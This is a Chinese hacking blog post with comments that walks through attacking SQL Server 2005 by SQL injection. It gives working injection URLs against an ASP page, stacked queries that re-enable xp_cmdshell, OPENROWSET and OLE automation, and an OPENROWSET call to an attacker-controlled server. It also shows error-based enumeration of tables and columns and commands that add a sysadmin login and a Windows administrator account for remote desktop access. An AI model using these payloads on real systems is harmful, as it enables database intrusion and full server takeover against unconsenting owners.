<< 网页照相机 V2.3破解手记 Category: 黑客技术文章 把SQL SERVER表数据库导出来 >>
sql server 2005注入(转)    [ 2007-06-12 2:07:32 PM | Author: kyo327 | From: Original ]
以前就听说SQL Server 2005的安全性如何如何变态,今天正好遇到了台扫出sa弱口令的SQL Server 2005主机,登录进去发现执用不了xp_cmdshell,这是因为在默认情况下,xp_cmdshell 选项在新安装SQL Server 2005上处于禁用状态,但是可以通过使用外围应用配置器工具或运行 sp_configure 系统存储过程来启用它,如下面的代码示例所示:


-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

如果是注入想要执行xp_cmdshell应该怎么办呢?我们可以先导出个WEBSHELL,然后利用这个WEBSHELL的执行SQL语句功能执行这个SQL脚本就可以了,但是在实验中发现backup log无法使用,出错提示"当前没有数据库备份"(大致这意思),于是我用backup database备份了一个数据库然后再用backup log就成功了,看来SQL 2005确实要比2000困难。做到这里突然又想到一个困难,如果存在找不到web物理路径或SQL Server 2005与WEB不在同台服务器等情况因而得不到WEBSHELL怎么办?接着在实验中又发现只要一条语句就可以直接执行命令,看来只要花点点时间研究一下SQL Server 2005,那么便会发现它并不是想像当中那么坚固。时间关系以后再做更多有关SQL Server 2005实验。
出自 51CTO.COM博客


zip_list.asp?area=aaa';select%20*%20FROM%20OPENROWSET%20('sqloledb','server=loveshell;uid=sa;pwd=;database=loveshell;','select%20name%20from%20master.dbo.sysdatabases')--
Microsoft OLE DB Provider for ODBC Drivers 오류 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]구성 요소 'Ad Hoc Distributed Queries'이(가) SQL Server 보안 구성의 일부로 해제되었으므로 이 구성 요소의 문 'OpenRowset/OpenDatasource'에 대한 액세스가 차단되었습니다. 시스템 관리자는 sp_configure를 사용하여 'Ad Hoc Distributed Queries'의 사용을 활성화할 수 있습니다. 'Ad Hoc Distributed Queries' 활성화 방법은 SQL Server 온라인 설명서의 "노출 영역 구성"을 참조하십시오.

/include/zip_list.asp, 줄 26




呵呵,果然在默认情况下很多是禁用的列,至少以后权限低的时候可能不能用openrowset了....不过我的这个貌似是dbo也就是sa呢

zip_list.asp?area=aaa'%20and%20user>0--
Microsoft OLE DB Provider for ODBC Drivers 오류 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'dbo'을(를) 데이터 형식 int(으)로 변환하지 못했습니다.

/include/zip_list.asp, 줄 26




看看能不能恢复 :)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 1;RECONFIGURE;select%20*%20FROM%20OPENROWSET%20('sqloledb','server=loveshell;uid=sa;pwd=;database=loveshell;','select%20name%20from%20master.dbo.sysdatabases')--


我这边听的端口有反映了,对方的web页面也正常返回,很好:0,而且貌似是本机,那就好办了.

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--


恢复xp_cmdshell添加个用户直接进3389了.






Comments RSS Feed http://www.kyospace.com/feedcomm.asp?logID=238

Quote kyo327 Posted at 2010-01-22 3:32:11 PM
对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.
SQL2005开启选项的一些方法整理:
 sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
 sql2005下,xp_cmdshell、sp_oA的开启方法我查到资料了,我都已经开启了,浏览器返回正常,执行命令不会再出现权限错误,但是执行"sp_oA"时会出现超时提示,执行"xp_cmdshell"时,本地监听无反应,这些我在提问贴里已经说明了,不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.
 SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
;exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--
 SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

Quote kyo327 Posted at 2010-01-22 3:55:24 PM

得到客户端主机名:
select host_name();
得到服务端主机名:
select @@servername;
结果一样就极有可能未分离,结果不一样就是分离的

Quote kyo327 Posted at 2010-03-04 3:56:44 PM
得到客户端主机名:
select host_name();
得到服务端主机名:
select @@servername;
结果一样就极有可能未分离,结果不一样就是分离的

/*

;exec master..sp_addlogin sql,sqlwoaini--
;exec master..sp_addsrvrolemember sql,sysadmin--

;EXEC MASTER..XP_CMDSHELL 'net user sql sqlwoaini /add'--
;EXEC MASTER..XP_CMDSHELL 'net localgroup administrators sql /add'--
*/


[N] = 第N個表
ID=1 and (select top 1 name from(select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1

[T] = 表名
[N] = 第N個字段
ID=1 and (select Top 1 col_name(object_id('[T]'),[N]) from sysobjects)>1


Post Comment
Topic Locked or You don't have the Permission. No Comment Allowed.
Here is kyo's blog © 2004-2005 
Processed in 0.078125 second(s)